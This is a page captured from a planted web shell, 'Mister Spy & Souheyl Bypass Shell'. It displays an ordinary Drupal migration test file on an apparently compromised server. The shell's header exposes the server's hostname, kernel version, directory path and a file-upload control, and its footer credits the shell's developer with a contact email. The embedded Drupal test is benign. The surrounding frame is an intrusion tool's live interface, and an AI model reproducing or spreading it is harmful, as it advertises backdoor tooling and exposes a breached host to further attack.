Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html/strat/web/core/modules/migrate_drupal/tests/src/Kernel/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html/strat/web/core/modules/migrate_drupal/tests/src/Kernel/MigrateMissingDatabaseTest.php

<?php

declare(strict_types=1);

namespace Drupal\Tests\migrate_drupal\Kernel;

use Drupal\Core\Database\Database;
use Drupal\KernelTests\KernelTestBase;
use Drupal\migrate\Plugin\MigrateIdMapInterface;
use Drupal\migrate\Plugin\MigrationInterface;

/**
 * Tests that a migration can be instantiated without a database connection.
 *
 * @group migrate_drupal
 */
class MigrateMissingDatabaseTest extends KernelTestBase {

  /**
   * {@inheritdoc}
   */
  protected static $modules = ['migrate', 'migrate_drupal', 'node'];

  /**
   * The migration plugin manager.
   *
   * @var \Drupal\migrate\Plugin\MigrationPluginManager
   */
  protected $migrationPluginManager;

  /**
   * {@inheritdoc}
   */
  protected function setUp(): void {
    parent::setUp();
    $this->migrationPluginManager = \Drupal::service('plugin.manager.migration');

    // Set the 'migrate' database connection to use a missing host.
    $info = Database::getConnectionInfo('default')['default'];
    $info['host'] = 'does_not_exist';
    Database::addConnectionInfo('migrate', 'default', $info);
  }

  /**
   * Tests that a migration can be instantiated with the node module enabled.
   *
   * When the migrate_drupal and node modules are enabled, the migration
   * derivers call checkRequirements() whenever createInstance() is used. If the
   * database connection is not available, then Migration::setUpDatabase()
   * throws an exception. Check that the exception is caught and the migration
   * can still be used to access its IdMap.
   */
  public function testMissingDatabase(): void {
    $migration = $this->migrationPluginManager->createInstance('d7_node_type');
    $this->assertInstanceOf(MigrationInterface::class, $migration);
    $this->assertInstanceOf(MigrateIdMapInterface::class, $migration->getIdMap());
  }

}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net